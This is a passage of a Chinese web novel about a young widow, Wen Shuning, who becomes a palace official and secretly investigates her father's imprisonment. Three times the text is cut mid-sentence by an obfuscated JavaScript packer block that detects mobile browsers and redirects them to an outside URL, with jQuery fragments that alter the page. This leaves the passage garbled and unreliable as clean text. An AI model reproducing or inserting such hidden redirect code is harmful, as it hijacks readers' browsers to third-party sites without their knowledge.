“应该不会吧?夫人通情达理,定不会责罚,再说了不是还有贵妃娘娘在?少夫人就别担心了,快些尝尝这梅花酥点味道如何。”长盈笑嘻嘻地端起碟子递到她面前。 温书宁纵使再没胃口也拿了一块,“好吃,我进宫可要带上你,天天给我做酥点。” 长盈笑了笑,说道:“我自是跟着少夫人的。” - 晚间燕拂堂传来话,说去老夫人院里用饭,温书宁本不想吃,没打算在厨房生火,如今老夫人传话,不去也得去了,下过雨后的空气十分清凉,一场雨把所有的闷热躁动浇了个透。 来到燕拂堂,饭菜已经上了桌,只余二房的人还没来,今日小公子回来,老夫人心里高兴,迟一点儿也不打紧,朝温书宁招手,叫她来自己跟前坐,温书宁乖顺地坐在老夫人身边。 二房那边刚得到传话便往燕拂堂赶,徐言璟跟在秦夫人身边,忽而秦夫人道:“枕之,你何时改名了?” 徐言璟垂下眼睫,眼里盛着笑意,答道:“回母亲,并非是改名了,上月时我纵马凉州寻大伯,大伯不识得我,我便说了好些父亲的事情,大伯怜我至今未曾取字,便为我取了“引秋”做小字。” 秦夫人点着头,略有惋惜,“也好,本想着我入府后让你父亲为你取的……” “大哥有学识,取的字断不会差,引秋好,引秋好!”徐二爷不住地点头。 到了燕拂堂,秦夫人率先向老夫人告罪,说有事情耽搁,来晚了。 魏夫人看了她一眼,脸上没什么表情,找了个空位落座。 温书宁感觉有人盯着自己,一抬头就看见徐言璟坐在对面,复又低下头吃饭,桌上的话题都是围绕着他展开,他从善如流地回答着各种问题,温书宁觉得这顿饭对她来说实在是吃的如坐针毡。 赵夫人笑问秦夫人,“绡语,午时吃过饭听你大哥说才知晓这孩子的字是他取的,还不知他叫何名呢。” 闻言温书宁竖起了耳朵,秦夫人也笑了笑答道:“我没什么文化,当初引秋出生时郎君不在,便是我去大街上找算命先生取得名字,叫枕之,比不得大哥取的字,如今听来,倒是有些俗了。” “我听着好,”老夫人弯了眉眼,“既然是算命先生取的,就算不好听,那寓意也是好的。” 赵夫人也跟着附和,这倒是缓和了徐大爷擅自为孩子取字的尴尬。 天快黑的时候天上又下起了毛毛雨,霜怜撑着伞扶着温书宁小心走着,徐言璟站在檐下看着她走远的背影,秦夫人走过来问道:“看什么呢?” “看嫂嫂。”徐言璟直言不讳。 秦夫人说:“你二哥若是在,听见你这样放肆,定要骂你。” 他收回视线,问道:“先前我欠了许多外债,母亲可知晓?” 秦夫人叹了口气,“自是知晓,那日闹得凶嘞,谁想那日过后他们再也没来过了,我估摸着是赵夫人替咱们还了账。” “不是大娘,是嫂嫂。” “什么?!”秦夫人瞬间大惊,“怎会?书宁与咱们无亲无故,为何替咱们还账?那账目可不小。” “母亲不知?”徐言璟反问。 “不知道呀,赵夫人未曾与我言明,我只当是她还了,她没说,我也没好意思问,紧着不少好东西都送去了漪澜院,”秦夫人叹气再叹气,“那么大的一笔账,她这日子可如何过啊,真是!罢了罢了,往后你替我多去玉兰居走动走动,你二哥不在了,她一个人着实苦。” 左右是自己儿子欠的账,再怎么气也只能咽进肚子,索性现在好了,打了胜仗还得了官职。 - 天彻底黑下来时又下起了大雨,飘摇的风吹着雨滴敲打在窗棂上,温书宁躺在床上闭着眼听雨声,心里思索着该如何查父亲的事情,其实这件事交由徐枕之来查也还好,至少是沾亲带故,不会太随意,但是她又该如何查母亲的事情?嘉贵妃只指向父亲,可在父亲的书房并未找到戕害母亲的证据,这可如何是好? 她有些烦躁地翻了个身,盖着薄被浑身热得很,干脆掀了被子靠在床头坐了起来,房间漆黑,复而起身点亮了桌上的烛火然后又坐回了床上,抱着膝盖盯着那簇烛火,火光闪烁在她的眸子里。 屋里深夜亮着烛火,难免不叫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912953|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好奇,徐言璟原是想趁夜去玉兰居将自己从前看的书籍带回现在住的院子,刚踏进院子就看见主屋房里亮着灯,他停住脚步,撑着伞站在院门口,终是转身离去。 霜怜和长盈换着守夜,霜怜守的上半夜,刚去了趟茅房回来就瞧见屋里亮着灯,许是屋里的冰块化掉了,于是转身去了厨房的冰窖里拿了一盆冰来。 “少夫人可是燥热?”她一边说着一边将屋里化了水的冰端着倒在了门口。 温书宁见她进来,有些不好意思,“是吵着你睡觉了吗?” “没有,我本就没睡着,瞧着少夫人房中亮着火,便想是不是热着了。” “是有些热,现在虽说下着雨,但并不凉快,”温书宁见霜怜把冰块放在床边,她躺下盖上薄被,“你快些回去睡吧,等会儿夜里说不定雨越下越大。” 霜怜应了声,安置好了就吹灭了烛火出了门。 次日天一亮赵夫人身边的妈妈就来传唤,说夫人叫她去漪澜院吃早饭,温书宁昨夜睡得晚,现下眼睛乌黑,得拿脂粉盖一盖,叫母亲看不出来才好。 简单洗漱一番就跟着前来传话的妈妈往漪澜院去,赵夫人节俭,桌上只有五谷杂粮粥和几碟子小菜,旁边的矮桌上放着时令水果和糕点,见她来赵夫人起身握着她的手往饭桌边走,拉着她坐下。 “贵妃娘娘今儿早上遣人来同我说了,你进宫做女官的事情,怎么也没听你提起过?你若是不想去,我替你推了便是,”赵夫人拉着她的手,忽而红了眼,“我只当你是我亲生的孩子,原先你足不出户,我是怕你有个什么好歹,方才让贵妃娘娘常召你入宫,却是没想到她竟打了要你做女官的主意。” 温书宁握住她的手,摇摇头,温吞道:“母亲多虑了,是我愿意的,本也在府中无事可做,想着陪陪母亲,如今瞧着秦夫人与母亲相谈甚欢,便进宫陪陪贵妃娘娘,且娘娘许我无事时出宫回府来看看,母亲不必忧心。” “好孩子,好孩子啊。”赵夫人欣慰地笑了笑,让她快些吃饭,说等会儿同她上街挑选些时兴亮眼的首饰。 赵夫人知道她在斩衰期,不便穿戴华丽,可也不能太素,总归现在是嫁到府里来了,叫人看见了平白让人说嘴。 吃过早饭温书宁就跟着赵夫人出了门,恰好碰上秦夫人接徐枕之下值。 秦夫人拉着他行礼。 “大娘,嫂嫂。”他拱手一一见过礼,得体又温和。 赵夫人看见他就想起了自己病故的孩子,顿时红了眼眶,越瞧越是欢喜,对秦夫人说:“这模样,倒是像璟儿,沉稳,知礼,你养了个好孩子。” 秦夫人原先本是打算以外室的名分进门,无奈二爷怜爱,又疼惜她生子养子的苦累,才做平妻进门。 先前孩子不见了,她心急如焚,却也不敢声张,只当是被二房大夫人吓跑了不敢归家,如今不仅回来了,还一改往日德行叫她脸上狠狠长了光。 徐言璟的视线落在赵夫人身边的温书宁身上,存了逗趣儿的心思,“我同嫂嫂问好,嫂嫂为何都不应瞧我?” 15. 第 15 章 温书宁一怔,这叫她如何答?总不能说自己有旧疾吧? 她的眼睛不大好,看人看物总不清楚,须得费时盯着仔细瞧,父亲尚且不知晓她这眼疾,若是叫赵夫人和老夫人知道,定要哀叹娶进门一个患有疾病的。 女子她盯着瞧也就罢了,问起来也可以说对方长相漂亮,想多看两眼,但总不好盯着男子长时看,若是被人看见,平白遭人嘴脸,是以常常扫一眼便瞥开了视线。 她嗫嚅片刻也没能说出个所以然来,反倒是脸色被憋胀的有些透红了,好在秦夫人急着带他去燕拂堂同老夫人问好,说了两句便走了。 等他们走后赵夫人才问:“你方才是怎么了?” 温书宁坐上马车,双手交叠放在腿上,低着头垂着眼,马车颠簸,竟是将她的眼泪也颠出来了,砸在烫金的百花褶裙上,赵夫人忙“哎哟”了一声:“好好的,这是怎么了?快别哭了,同母亲说说,怎么了?” 温书宁这才抬起头,一双眼噙着泪,好不可怜,“本是想瞒着不跟母亲说,但心里总是不安,早一天晚一天终究是要说的,万望母亲听后不要嫌弃才好。” 赵夫人握着她的手,越发觉得她可怜,“你这般乖巧,只管说,我自听着。” “母亲生我时并非足月生产,出生时大夫便诊断我患有眼疾,虽与常人无异,但时日一长总会如汤圆般露馅,平日看书比别人慢些,一页书多费些时也没什么,可看人不能这般,我若是盯着别人看,那叫什么话?”她一边说一边哭。 赵夫人蹙眉看着她,倏尔伸手摸上他的眼睛,惋惜道:“可惜了这双明亮的眼睛,难怪你刚刚不说话,那璟儿可知道?” 她摇摇头:“还没来得及跟夫君说。” 赵夫人宽慰她,“无妨,左右不过看不清罢了,又不是看不见,天底下有疾的人多的去了,只是你这样的情况进宫恐怕有些苦头吃,宫里那些个贵人娘娘都是不好相与的,你在贵妃身边,难保不会有人为难你,若是在宫里不顺心,千万不要闷在心里受着,尽可辞了官回府里来,母亲自为你撑腰。” 温书宁听她这一言,止住的眼泪又淌了下来,靠在赵夫人肩上。 “好了好了,眼泪收一收,待会儿到了地方顶着一双肿眼睛可挑不好钗子。” 马车停至琳琅斋门前,温书宁扶着赵夫人下马车,“母亲小心。” 琳琅斋是朱雀街上生意最红火的钗环胭脂店铺,时兴的物件儿经常断货,有的甚至要提前好几天预定,店面一共有两层,一楼卖首饰,二楼卖胭脂,来买东西的人都是擦着肩进擦着肩出,带出门的丫鬟婆子们将温书宁和赵夫人护着进店,进去后发现店里面倒是宽敞,不过是门头太小了。 “娘子和夫人需要什么?尽管说,整个盛京城就没有比咱们琳琅斋更加华贵的首饰和衬人的胭脂了。”店小二瞧着她们穿着打扮非比寻常,当是富贵人家。 赵夫人站在柜台前瞧了一圈,都不大满意,对店小二说:“除了这些可还有别的?” 店小二一愣,心想是来了个大单,当即点头,“有的有的,请夫人娘子随我来。” 温书宁扶着赵夫人跟店小二往左边的橱柜走去,店小二将橱柜打开,一人高的柜子里竟摆放着成套的钗环首饰,金银玉环闪着光,叫她纳罕。 “夫人娘子请看,这里的都是我们的镇店之宝,许多勋贵人家都是女儿出阁才会置办上一套,平日断是舍不下银子买的。” 温书宁听着店小二这番话,觉得不愧是做买卖的,说的真好,既夸赞了店里的东西,又暗指了若是不买就是舍不得,若是连女儿出阁都舍不得,那平日便更小气了。 只是他看错了眼,她们不是母女,是婆媳。 她不求赵夫人能够疼她爱她如亲女,只愿不要有心磋磨于她,如今徐言璟病故,她在府中没有依靠本就如浮萍,纵使赵夫人把话说的再好听,可终归不是自己的亲生母亲,还是安分守己些的好,往后那么长的时间,总会好过些。 赵夫人点点头,瞧着柜中的东西,“确实都不错,是好东西。” 话罢看向她问道:“你喜欢哪一套?” 温书宁笑了笑,“都好,只是母亲知道我平日不爱穿戴这些,我瞧着外间柜台上的那只金棠花步摇就不错。” 到底是小姑娘,赵夫人一眼就看穿了她的心思,“你啊,别看那些个小的,只看这里大的,你若是都喜欢,那我便一齐都包了,你嫁给璟儿本就受苦受累了,如今又这样,我这个做娘的心里有愧。” 温书宁知道她说的是自己守寡的事情,“母亲万不可这样说,家中不嫌弃我的出身,夫君在时对我也是极好的,我只愿替夫君守在母亲身边尽孝。” 赵夫人得她这样说心里宽慰了不少,指着最上头对店小二说:“这三套都要了。” “母亲——” “你莫要与我推辞,只管收着便是。”赵夫人拍了拍她的手背,“我就瞧着这三套最衬你。” 店小二惊喜的不得了,忙不迭将点好的那三套小心拿出来打包了,原先是十二套,前些时日京中不少贵女出阁,卖出去了三套,现下一口气又卖了三套出去,当真是天上掉馅饼将他砸了个晕头转向。 店小二将打包好的三套钗环首饰递给她们身边的妈妈和丫鬟,“夫人,一共是两千六百五十两,您给两千六百两就成。” 温书宁讶然,竟然这么贵,这两千两够殷实人家一年多的口粮了。 赵夫人付了银钱,拉着她往外走去,“再上前头的成衣店看看。” “母亲,不用了,入了宫便穿不得自己的衣裳了,若是买来放着我心里总惦记新衣裳,不如等我出宫母亲再为我置办。”温书宁忙拉住赵夫人。 赵夫人想了想,觉得她说的在理,便作罢,上了马车往回赶。 回到府中正好到了晌午,该吃午饭了,赵夫人留她在漪澜院吃完饭才回玉兰居,霜怜和长盈已经把明日进宫用得上的东西收拾好了。 “少夫人不必忧心,长盈随您一同进宫。”霜怜倒了盏茶,见她愁眉不展,便当她是紧张。 温书宁一听眼睛就亮了,问道:“当真?” 长盈收拾好了自己的物件,说道:“原先娘娘把我给少夫人前就同我说过了届时陪着少夫人一同入宫。” 她眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919200|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眨眼,原来贵妃娘娘早就想到了她会答应进宫,忽然心底莫名升起一股被戏耍了的情绪,直到长盈的惊叫将她唤回神。 “呀!好金贵的首饰,这些都是夫人送的吗?” 霜怜同她一起看,高兴得不行,“那当然了,快些撒开,小心别弄坏了,要不然少夫人饶得了你,我也不饶你。” 本是说着打趣儿,长盈也不听,继续拿着赏看,温书宁瞧她是真喜欢,便说:“这些是母亲送的,我不便送与你们,今日我看见一支金棠花步摇很适合你,明日出门时我领你去买回来。” 长盈高兴,复而又道:“算了,少夫人之前填了外债,现下手里的银子都恨不得掰成八瓣儿用,还是别为我破费了。” “不算破费,霜怜跟我比较早,我也送了她不少东西,你跟了有些日子了,竟忽略了该送你些什么。”温书宁宽慰她,虽说手上不富足,却也还是买得起一支簪子步摇的。 长盈这下更是欢喜的不行,“奴婢谢少夫人赏赐。” 温书宁嗔怪,“早便与你们说了,在我面前莫要奴婢奴婢地叫,怎么忘了?” “原是府中规矩,少夫人拿我们当姐妹,我们也不能真的不顾礼数,得了赏赐便该这样,”霜怜说罢看向长盈,“少夫人眼光好,我猜那步摇是当真不错,入了宫你可千万要照看好少夫人。” “我虽年龄小,却也是实打实在宫里伺候过娘娘几年,霜怜姐姐这是不信我。”长盈得意地扬起下巴,骄傲的不行。 就是这样,寻常人家的丫头进宫伺候娘娘都是莫大的喜事,全家的荣耀。 温书宁瞧着她们闹嘴,也跟着笑,可是笑着笑着又恍惚间想起了之前做过的一个怪梦,当时不得解,如今也还是想不通为何会做那样的梦。 玉兰居只有她一个主子,明天她也要离开,只怕院里的丫鬟做事不尽心,她思索一番,问霜怜:“我明日走后你可是要回到母亲院子里伺候?” 霜怜把东西收拾妥贴了,听见这话忙说:“不用,我得替少夫人守着院子,不然这几个还不得翻了天?” 温书宁这下便放心了,思来想去索□□代了两句:“这院子里的杏树千万不要再给伐了,还有里屋的书柜,不要整理。” 霜怜晓得,二公子病故已有数月,那书柜还是跟二公子在时一模一样,可见少夫人念着那段时间的情。 晚间老夫人的病症又发作了,赵夫人急忙叫人请来了大夫,消息传到玉兰居的时候老夫人已经睡下了,温书宁还是过去了一趟,上回老夫人病倒是赵夫人侍疾,如今到了魏夫人,见温书宁来也没个好脸,可见上次的事情让她心存芥蒂。 “魏二娘晚好。”温书宁规规矩矩行了礼。 岂料魏夫人听见这话当即就皱起了眉,跟炮仗似的,“怎么?以往叫我二娘,现下倒是加了个姓?她秦绡语不过一个外室登堂!凭什么跟我平起平坐?有个儿子当真是了不起!” 这真是鸡蛋里挑骨头,没事找事,温书宁低着头,站在床边没有接话,心里琢磨着秦夫人肚子里的那个孩子到底是不是魏夫人故意给弄掉的,若是,那妇人的妒忌心可真叫人胆寒。 16. 第 16 章 好在魏夫人没说几句话就熄了火,往日二爷偶尔进她的院子都不见肚子有动静,如今秦夫人进门了,儿子还回来封了官儿,二爷竟是连问也不曾问过她一句,全然当没这个人的,她心里有气,却也不好,对着大房里的人撒,只好咽下去。 外面树上的虫子叫嚷了一时,魏夫人撑着床榻边儿眯了一会儿,等到下巴快要磕到床才迷蒙转醒,起身想要找茶水和,转头看见站在一边的温书宁吓了一跳,“你个死丫头,还杵在这儿做什么?” “我来看老夫人。”温书宁腿脚都站酸了,瓮声瓮气地说。 “你也看见了,母亲已经睡下,我听说你明日便要去宫里做贵妃娘娘的女官?快些回去睡吧。”魏夫人喝了口凉茶润了润嗓,“免得明早起不来大嫂该赖我了。” 温书宁应了声转身往外走去,天已经全部黑下来了,零星闪着星点子,月亮被浓云盖住,今年夏末竟是多雨之时。 霜怜和长盈等在院子门口,见她回来忙迎上前,霜怜问道:“魏夫人可为难少夫人了?” “你这话问的奇怪,魏二娘为何要为难我?”温书宁觉得稀奇,笑着随她们一同往屋子里走。 霜怜说:“自从秦夫人进门魏夫人整日就像是吃了炸药一般,往日院子里犯了错的丫鬟顶多骂两句,现在好了,不是打就是发卖。” 温书宁笑了笑没说话,好在二房的院子离得远,平日里也不太能见的着面,熄了灯便睡下了。 - 次日天还没玉兰居就亮起了灯盏,赵夫人也早早地起来了,正往这边赶,温书宁瞧见她忙道:“母亲怎么来了?” “我来送送你。”赵夫人朝身后挥挥手,贴身的妈妈端着一个盒子就上来了,“顺便托你替我给贵妃娘娘送东西。” 温书宁接过木盒,也不好奇里面是什么,只叫长盈妥贴收好。 赵夫人跟她一起出门,看着她上了马车,马车一路向东,驶进皇城大内,马车停在东门口,嘉贵妃派遣来的嬷嬷站在门边打瞌睡,瞧见她来忙直起身子走过去,“少夫人可算来了,娘娘可是念叨少夫人多日。” “劳烦嬷嬷一大早就在这里等我了,辛苦了。”温书宁被嬷嬷扶着下了马车,转身跟长盈一起将带来的包袱背着。 嬷嬷也上来搭把手,笑着说:“少夫人说的哪里话,您是贵妃娘娘的弟媳,也算奴婢的半个主子,将来若有事,还得请少夫人照拂奴婢呢。” “难为嬷嬷看得起我。” 三人说说笑笑走在宫道上,待到了永和宫门口时天已经亮了,天边的夕阳照醒了半个皇宫,嬷嬷进去通禀,温书宁和长盈便等在门口,伺候贵妃起居的宫女们看见长盈都打了招呼。 “长盈姐姐,你怎么回来啦?” 长盈笑道:“娘娘指了少夫人做尚宫局的司记,我便跟着一同来了,你快些进去吧,小心娘娘责罚你。” 那小宫女忙端着盆进了殿。 等到太阳彻底升起来,阳光洒在她身上,嘉贵妃才准备好,传她们进殿。 “奴婢参见贵妃娘娘,”温书宁如今成了贵妃娘娘身边的女官,说话做事自要严谨有度,“贵妃娘娘万安。” 嘉贵妃华服着身,端坐在贵妃椅上,“起来吧,本来这个月初你就要进宫来的,但这天气一直不好,连着下了好些天的雨,母亲又托人传话说你病了,本宫便宽限了你几日,如今怎么样?身体可好了?” 温书宁想着应该是母亲舍不得她进宫,便想让她在家多留几日,“多谢娘娘记挂,已经好多了。” “好了便成,等会儿本宫要去给皇后娘娘请安,你收拾收拾随我一道去吧。”话落摆了摆手,打发身边的嬷嬷带着她去了住处。 温书宁告退,跟着嬷嬷在永和宫左拐穿过垂花廊,右拐穿过假山溪流到了一个小院子,邻着永和宫正宫不远。 嬷嬷介绍说:“这座小棠园原先是二皇子小时候住过的,后来二皇子长大了,便搬去了皇子府,就只有二公子偶尔来时作小憩用。” 温书宁看着面前的院子,疑惑道:“劳烦嬷嬷解惑,内廷应设有女官住所,娘娘为何将我安置在这里?” 嬷嬷看着她笑,“少夫人是贵妃娘娘的娘家人,又是尚书大人的亲女,自然与那些擢选进来的女官们不同,少夫人快些收拾,莫让娘娘久等了。” “多谢嬷嬷。”温书宁进了小棠园,长盈在后面塞了一锭银子给嬷嬷。 嬷嬷拿了银子高兴极了,“长盈姑娘哪里的话,你我都是娘娘身边的人,如今你跟了少夫人,我们也还是认识的,客气什么。” 长盈说:“方嬷嬷,该改口了。” 方嬷嬷忙道:“是是是,我这便先走了,过会儿长盈姑娘带着黎司记来。” 长盈颔首,转身进了小棠园。 小棠园是一座小院子,院子角落里有着青山流水,后面还有一小片桃林,长盈推开门,见温书宁已经换好了衣裳,她就帮着铺被褥,“您如今是贵妃娘娘身边的人,可千万要小心,宫里嫔妃不多,也只有娘娘和皇后有皇子,娘娘突然让您进宫,难免引人怀疑。” 温书宁坐在菱花镜前,心想她本来就是个值得任何人怀疑的人,但她这个女官做不长久,等母亲的事情了结她是要请辞出宫的。 “好了,怎么样?”她穿着女官的衣裳,衬得人十分精神干练,不露笑颜是颇有几分摄人。 长盈说:“好看,您穿什么都好看。” 内廷上下谁人不知嘉贵妃如今深得盛宠,请安问候不是迟到便是不来,连带着永和宫的宫女和奴才都趾高气昂,拿鼻孔看人。 一众妃子穿着华丽,打扮漂亮坐在坤宁宫,皇后坐在上座,等了半晌左手边的位置始终空着。 请安无非就是话家常,聚在一处聊些趣事儿,静妃瞥了眼那座位,抿抿唇道:“嘉贵妃娘娘今日怕是不会来了。” “贵妃娘娘不是迟来就是不来,有何稀奇?”贞嫔一甩手上的帕子,翻了个白眼。 岂料话音刚落下门口就传来了声音:“本宫这不是来了吗?起得晚了些,也值得你们说嘴?” 嘉贵妃朝皇后福了一礼,“臣妾给皇后娘娘请安,皇后娘娘万福金安。” 说完也不等皇后开口便落了座,妃子们也都没说话了,她们心里都知道,嘉贵妃虽然骄纵,目中无人,但德行妥贴,找不出半点错处。 皇后面上始终带着笑,说道:“想是妹妹昨日喝了好茶睡晚了,今日才晚起。” 谁人不知昨日陛下赏赐了嘉贵妃一块茶饼,阖宫上下也只有三块,还是去年的贡货,一块给了太后,一块给了皇后,现在陛下的这块给了嘉贵妃,说不嫉妒是假的。 嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929250|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵妃笑着,“皇后娘娘说的是,等回去我命人给各位姐妹都送一些去。” “那妹妹先谢过贵妃娘娘了。”静妃起身朝她行了礼,蓦然瞥见了温书宁,“呀,贵妃娘娘身边伺候的宫女换人了?瞧着面生。” 嘉贵妃眼皮儿也没抬,“她呀,是本宫娘家弟弟的夫人,因着在家无聊,便让她进宫陪本宫说说话,但日日两头跑也累人,索性让她入了尚宫局。” 闻言皇后的脸色微变,但仍旧笑着:“不知是何职位?” “上个月尚宫局的司记辞官归乡,本宫就想着让她做个司记打发打发时间,等日后皇后娘娘找到了合适的人顶上本宫便送她回去。” 就算哪天真的找到了人也不会去禀告贵妃娘娘,若是说了,那就是没脑子。 皇后强颜欢笑搅着帕子,她本想将娘家侄女接进来留在身边,也是放在这个职位上,没想到竟被人抢先一步。 “如此也好。” 话题落地便没有人再提起,皇后阖眼揉了揉太阳穴,让各宫妃子都回去,自己则要去休息。 嘉贵妃带着温书宁在皇宫四处逛了逛,说了几句话,话里话外都是在试探她对将军府是否衷心。 “请娘娘宽心,奴婢誓死效忠将军府,效忠娘娘。” 她说的恳切,低着头叫人看不清表情,嘉贵妃看着她,忽而笑了,扯到了御花园的花,“那边的一片芍药,是陛下特意为本宫种的,每年花期都开的极好,叫人看了欢喜。” 温书宁看了眼那边,此时夏末秋初,已然过了花期,她不知该说什么,只说:“娘娘喜欢的花自然是好的。” 嘉贵妃知道她的来路,从小养在扬州,跟着母亲过活,没有多大见识,如今能进宫做女官已经是多少人求都求不来的,于是也不跟绕话弯子,问道:“听说前几日随着父亲一起凯旋的还有徐枕之?” 温书宁应声:“是。” “二叔的这个孩子本宫知道,当初在街上还碰到过一次,只是没想到他竟然能跟父亲一同抗击敌军,说起来本宫也是好久没见过他了。”嘉贵妃望着远处,像是在怀念什么。 温书宁知道,她是想到了徐言璟,说起来自己已经很久没有想起过徐言璟了。 从御花园回去她就去了一趟尚宫局,她这样一个没有显赫家世的人突然成了尚宫局司记想来是很多人都不服,踏进殿门的一瞬间视线就被桌上堆积成山的书卷吸引。 长盈怀里还抱着许多宫女的卷宗,“您不必理会,宫里的人一惯是这样的,只是您是新来的,这些东西总要熟悉,等了解了再去收拾她们也不迟。” 温书宁接过她手里的卷宗,“我不在意。” 她本来也无心这个职位,等把父亲从诏狱捞出来查清母亲的事情她就离开,回到扬州。 内廷伺候的宫女一共几千人,这一卷卷看过来得看到猴年马月?索性放在一边,先看宫中内廷的规章制度。 天渐渐黑了下来,长盈趴在桌子上睡了一觉,醒来时就看见对桌的温书宁还在看,桌边昏黄的烛火把她的影子映照在墙面上,“天都黑了。” 温书宁都也没抬,“我知道,你先去睡吧,我一会儿就回去。” 看了这么久,她连同皇宫六部都看了,父亲在刑部供职,对方既然想要诬陷父亲,那必然是贪图什么,她要去一趟刑部。 17. 第 17 章 说去就去,她将没有看完的卷宗带了一小部分回了小棠园,趁夜换了一件深色的裙子往刑部去,她手上有嘉贵妃给的令牌,门口的门卒见到令牌便放她进去了。 这还是她第一次进刑部,不知道从哪里查起,索性先去了父亲办公的地方,许是很久没有人打扫,桌面上蒙了一层薄薄的灰尘,书架之间还有蜘蛛网相连接,桌上放着写了一半的文章,想必被带走的时候是猝不及防。 她简单翻看了一下桌上的东西,没有找到什么有用的,后又转身在书架上翻找起来,忽然间,她的目光从书架上移到了地上,黑色的人影将她的影子一整个包裹住,重合在一起,温书宁能感觉到自己的心脏在剧烈地跳动,不敢转身,扶着书架的手非常用力,脑子里思索着该怎么办。 是好人,还是坏人? 紧张之际她听到身后响起了一声轻笑,紧接着那道影子越靠越近,她甚至听到了平缓的呼吸声,浑身一激灵,吓得她连忙往前跑了两步,随手抽出书架上的一本书对准对方,“杀人是要偿命的,我可是贵妃娘娘身边的女官。” 那影子又笑了一声,“杀人偿命?你胆子这么小,怎么敢来这里的?” 温书宁一愣,“你来这里做什么?” 徐言璟抱着手臂倚在书架上,说道:“当然是查案咯,不明显吗?我倒是想问问你来这里做什么。” “不做什么。”她将书放了回去,室内没有点灯,只能透过稀薄的月亮看见面前人的模糊轮廓,怕他追问细节,只能绕过书架走到门口,刚离开便又折了回来,“我父亲的事……” 徐言璟目不转睛地看着她,“放心,我是个正直的官,自然不会冤枉好人。” 温书宁被他看的发毛,只想要赶紧离开,刚要走就被他喊住,月光下,她回过头,发丝随着风飘动,“怎么了?” “黎大人的验尸记录,给我。”徐言璟伸出手,骨节分明的手指微微弯曲着,见她不作声还勾了勾手指。 “我没带,下次再给你吧。”说完她就赶紧提着裙子跑了,跑到半路停下来走,越想越不对劲,他是怎么知道验尸记录在她手上的? 难道是长盈或者霜怜告密? 那也不对,那个时候他应该在凉州,莫非他在自己身边安插了眼线?若是真的。这……这叫她怎么找? 一波未平一波又起,心真是凉透了,回到小棠园她就像被抽干了力气躺在床上,长盈端来水盆,“司记,先洗漱吧。” 温书宁一边洗漱一边问:“你还记不记得我上月在黎府从父亲书房里拿出来的验尸记录?” “自然记得。” “那你可有跟人说过?” 长盈摇头摇的像拨浪鼓,“那当然没有了,这种事情我平白无故为何要同人说?” 温书宁擦了脸,长盈没说,霜怜是母亲给她的人,自然也不会多嘴这些事情,洗漱完毕躺在床上干脆不想,越想越觉得毛骨悚然,也不知道自己身边有几双眼睛。 - 天还未亮小棠园的门就被敲响了,敲门声隔不多时就有规律地响三下,直到长盈一边披着外衣一边往门口走,“来了来了。” 她打开门却没瞧见人,只看见了放在地上裹成一团用绳子缠在一起的红布,四下望了望便转身往温书宁的房间去,叩响了门。 温书宁正醒着,应了一声就坐起来挂好床幔,长盈把捡来的东西递给她,转身点亮了桌上的烛盏端过来。 温书宁展开那团混着血腥气的布团子,不甚干净的一小块布上用血歪歪扭扭写了三个字“诏狱见”。 她微蹙眉问长盈,“你看清送东西的人了吗?” “没有。”长盈摇头。 空气潮湿,天上的乌云被风吹着快速移动,把月亮遮盖住,看来今天又要下雨了。 温书宁洗漱穿衣便捏着血信就往诏狱赶,宫道上有几名宫女在打扫,她绕过东大门从偏门出去。 父亲养尊处优几十年,哪怕孤身在扬州的时候饮食起居也是母亲亲自照料,从没进过牢狱,现在肯定是撑不住,现在只怕是顾不上冤枉不冤枉,只想快点出去。 诏狱门口值夜的人昏昏欲睡,她蹲在对面的树后面,趁着他们换岗的间隙快速跑到门口钻了进去。 这是她第二次来,毕竟是偷偷进来的,心里总是担心被发现,两边的墙壁也不敢扶,只小心提着裙子,手心的汗水几乎浸透裙裳。 精神高度紧张间她似乎听到了有人说话,莫非是爹爹? 她寻着声音小步跑了起来,声音越来越近,除了说话声还有不间断地惨叫声,心几乎提到了嗓子眼,拐过墙角更是脚下一软,险些站不住。 面前的场景她何曾见过? 虽然害怕,但目光还是不受控制地看向被绑在木柱上的人身上,那人的身体几乎血肉模糊,脸上除了血迹没有一点伤痕,看清不是父亲后松了口气,但下一瞬她就觉得现在最该担心的应该是自己。 “何人在此!”一道低沉的呵声在诏狱里回荡。 温书宁还没反应过来那泛着寒光的剑就抵在了脖颈一指处,吓得她后退两步跌坐在地上,手掌似是摸到了粘腻的液体,不知道是什么,一动也不敢动。 男子皱着眉瞧她,“你一个小女子,来这里做什么?谁派你来的?说!” 在昏暗的环境下温书宁看不清他的脸,仰着头想要说话竟犯起了结巴:“我……我不是……不是谁派来的……” 声音越说越小,就怕下一秒那柄剑就刺穿了自己的喉咙。 